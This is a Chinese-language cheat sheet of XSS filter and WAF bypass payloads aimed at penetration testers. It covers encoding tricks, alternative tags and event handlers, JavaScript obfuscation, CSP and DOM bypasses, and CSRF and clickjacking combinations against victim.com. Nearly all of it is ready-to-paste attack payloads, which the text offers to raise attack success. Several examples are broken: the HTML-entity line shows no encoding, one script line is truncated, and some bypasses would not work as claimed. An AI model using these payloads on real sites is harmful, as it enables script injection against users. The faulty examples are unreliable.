XSS 绕过过滤的思路
在 XSS(跨站脚本攻击) 测试和绕过过滤时,通常会遇到各种安全机制,如 WAF(Web应用防火墙)、输入验证、编码过滤等。以下是一些常见的绕过思路,帮助你在渗透测试时提高 XSS 攻击成功率。
1. 编码绕过
(1)URL 编码
部分 WAF 可能不会解码 URL 编码的输入,可以尝试 百分号编码:
<script>alert(1)</script> → %3Cscript%3Ealert(1)%3C%2Fscript%3E
有时也可以使用 双重编码:
<script>alert(1)</script> → %253Cscript%253Ealert(1)%253C%252Fscript%253E
(2)HTML 实体编码
使用 HTML 实体编码绕过过滤:
<script>alert(1)</script> → <script>alert(1)</script>
(3)Base64 编码
如果目标应用允许 JavaScript 的 atob() 解码,可以绕过过滤:
<img src="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" />
2. 标签变形
部分 WAF 可能只拦截 script 标签,但可以利用其他支持 JavaScript 的标签,如:
<svg onload=alert(1)>
<math><a xlink:href="javascript:alert(1)">Click</a></math>
<iframe src="javascript:alert(1)"></iframe>
<body onload=alert(1)>
3. 事件触发绕过
如果 script 标签被拦截,可以尝试 HTML 事件触发 XSS:
<input type="text" value="XSS" onfocus="alert(1)" autofocus>
<button onclick="alert(1)">Click me</button>
<div onmouseover="alert(1)">Hover me</div>
4. JavaScript 关键字混淆
一些 WAF 可能会拦截 alert(),但可以使用 JavaScript 关键字变形:
<script>window </script>
<script>setTimeout('alert(1)',100)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
5. 绕过内容安全策略(CSP)
如果目标网站启用了 CSP(Content Security Policy),尝试:
- JSONP 绕过:利用
script标签加载外部 JSONP 资源 - 内联事件处理:
onmouseover,onclick等事件属性 - 使用
eval(),setTimeout(),setInterval() - 利用
data:或blob:协议:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
6. DOM-based XSS 绕过
当 XSS 由 DOM 解析时,可以通过 document.write()、innerHTML 等方法注入:
<script>document.write('<img src=x onerror=alert(1)>')</script>
<script>document.body.innerHTML += '<svg onload=alert(1)>'</script>
7. 逻辑绕过(BYPASS WAF)
如果目标网站对 XSS 进行了 严格的安全策略,可以利用:
- Unicode 绕过(例如
\u0061\u006c\u0065\u0072\u0074(1)) - 大小写绕过(如
ScRiPt) - 空白符绕过(
<scr ipt>alert(1)</scr ipt>) - 注释绕过(
<scr<!-- -->ipt>alert(1)</scr<!-- -->ipt>)
8. 结合 CSRF 绕过
如果目标网站允许跨站请求,可能可以借助 CSRF(跨站请求伪造) 来执行 XSS:
<img src="http://victim.com/xss?payload=<script>alert(1)</script>">
9. 结合 Clickjacking 绕过
可以尝试使用 iframe + 透明层 诱骗用户点击:
<iframe src="http://victim.com" style="opacity:0; position:absolute; width:100%; height:100%"></iframe>
10. 结合 HTTP 参数污染绕过
有些网站会解析多次参数:
http://victim.com/search?q=<script>alert(1)</script>&q=<svg onload=alert(1)>
可能会导致 XSS 触发。
总结
XSS 绕过方法主要包括:
- 编码绕过(URL 编码、HTML 实体编码)
- 标签变形(使用
svg,math,iframe等) - 事件触发(
onmouseover,onfocus等) - 关键字混淆(
eval(),setTimeout()变形) - DOM XSS 绕过(
document.write()) - CSP 绕过(JSONP,
data:协议) - WAF 逻辑绕过(大小写、空白符、Unicode 等)
- 结合 CSRF、Clickjacking
不同的网站会有不同的安全策略